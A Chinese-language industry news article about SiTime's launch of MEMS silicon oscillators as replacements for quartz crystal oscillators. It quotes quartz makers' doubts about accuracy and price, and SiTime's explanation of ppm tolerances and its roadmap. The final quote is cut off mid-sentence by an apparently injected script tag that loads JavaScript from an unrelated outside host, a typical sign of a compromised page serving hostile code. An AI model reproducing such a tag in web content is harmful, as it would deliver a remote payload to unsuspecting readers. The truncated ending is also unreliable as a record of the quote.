硅机电振荡器即将量产出货 传统石英晶振产业将被颠覆?

尽管石英晶体振荡器存在于所有电子产品中,但因为石英很多缺点,如价格昂贵、比硅低20倍的可靠性、尺寸大,且通常由客户定制,制造时间长,与cmos不兼容,而且一种封装只能对应一种频率在过去30多年间,业界一直在探索石英晶体振荡器的替代产品,如今这一探索取得了重大突破。

4月20日,美国初创公司sitime在北京宣布,推出可代替传统石英振荡器的sit11xx系列memsfirst振荡器(硅机电振荡器)。

虽然传统的晶振厂商一直也在关注硅振荡器的发展,但sitime的产品出现着实让他们大吃一惊。厦门克莱斯特电子有限公司华南区经理高波表示:“很早就听说了硅晶体只不过想不到来得这么快,这是危急(我们)饭碗的事情。长远来看,理论上普通的石英行业会消失大半。”厦门克莱斯特电子有限公司是从事传统石英晶振生产与销售的专业厂商,主要产品有石英晶体谐振器、单片晶体滤波器、钟控振荡器、陶瓷谐振器、陶瓷滤波器、介质谐振器和介质滤波器等。

不过,他们都对sitime产品的精度和价格提出了质疑,并认为这也是未来硅振荡器能够在多大程度上取代石英晶振的关键。深圳市晶科鑫实业有限公司总经理孙刚表示,此前也出现过类似这种产品,但价格很贵,而且精度都很难达到100ppm,即使“精度为50ppm的话,对于通信应用恐怕不够,例如手机一般要求2.5ppm,而蓝牙等2.4ghz和5.8ghz应用要求10ppm以内。如果精度还能够提高的话,对晶振产业会影响很大。”晶科鑫实业有限公司是专业生产石英晶振,陶瓷晶振,钟振及晶体滤波器的集团公司,可以为客户提供高精度、可靠性强的军用及民用晶体,月产量达600万只,产品广泛应用于3c等领域,并大量出口欧美市场。

而sitime的销售及市场部总裁johnmcdonald则认为,就消费电子应用,sitime产品的精度已经足够。他表示:“晶振是一个古老的市场,也是一个很细分的市场,不同的精度对应不同的应用,如2.5ppmm的产品通常用于手机,5ppm和10ppm通常面向蓝牙等无线通信应用,20-30ppm的产品应用于存储。而消费电子应用一般采用50-100ppm的产品,这也是目前sitime的目标市场。”

但高波不同意mcdonald这种50ppm已经足够的说法。他表示,虽然对于一般应用领域,50ppm没有问题。而中国工程师有个特点,对振荡器了解有限,但是由于振荡器类似于电路心脏的作用,又不敢马虎,所以会用低误差的料以弥补和防范可能的用料风险。另外,还有一个原因是行业混乱,本来如果是实实在在的50ppm而且各项指标都达标的话,工程师用了也放心,但是由于厂商素质不一样,导致说50ppm的用了会出问题,给工程师的印象是,50ppm的不能用。他指出:“据我们所知,一些设计方案最初的bom单中都是50ppm的,但到了中国都改成了20或者30ppm的晶振。”

对于这种现象,mcdonald表示理解。他解释说:“例如,尽管一个石英晶体振荡器的频率精度是±20ppm,但可能会因为电压变动有±1ppm的影响,焊接温度有±5ppm的影响,机械震动与冲击有±3ppm的影响,温度范围可能有±5-20ppm的影响等等。这些都是十分常见的影响精度的因素,必须考虑进去,但石英晶体振荡器厂商却只告诉客户产品的精度是±20ppm,事实上,实际应用环境中精度可能只能达到50ppm。因此,客户需要50ppm精度的时候,选择了20ppm的石英晶体振荡器是正确的,是从实际经验出发。”他强调,“对于sitime的而言,承诺50ppm的时候,已经包括了所有温度变化、电压变化和老化这些因素的影响。事实上,由于采用硅工艺,没有外围器件,这些影响因素几乎没有,都接近0。”

mcdonald透露说:“事实上,目前sitime的技术已经达到了5ppm,我们生产了8,000个测试样品都可以达到5ppm,但我们现在不承诺可以大量制造5ppm的产品,我们希望等到一年后一切都没有问题的时候再宣布。一方面,这是对客户负责,另一方面,这也是给sitime的经营策略。”他解释说,要以低成本实现大规模量产,内部掌握的技术必须更高。如果我现在掌握了5ppm的技术,我向客户承诺可以做到10ppm,那对我的生产成本要求很高,因为生产出的产品可能有一部分不合格,那就需要检测,而检测的成本也是非常高的。如果我现在已经掌握5ppm的技术,要生产出50ppm的产品,可能就根本不需要检测,生产成本会很低,因为即使生产过程控制不好,也不会超过50ppm,可能是大部分产品的精度达5ppm,少部分产品的精度也在30ppm以内。如果我要向客户承诺2.5ppm,可能内部掌握的技术要低于1ppm,才能实现低成本生产。

mcdonald不愿意说出具体什么时候推出5ppm的产品,称目前谈论5ppm还太早。他表示:“很多年轻的公司,为了达到非常高的目标,研发上付出了大量的精力。对于sitime来说,我们希望一步步地达到目标,首先面向消费ic37,随着精度的提升,接着是存储应用,然后是无线通信应用。我们有严格的产品路线图,希望每6个月都推出新的产品,有新的发展,持续地获得收入。”他强调:“将?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态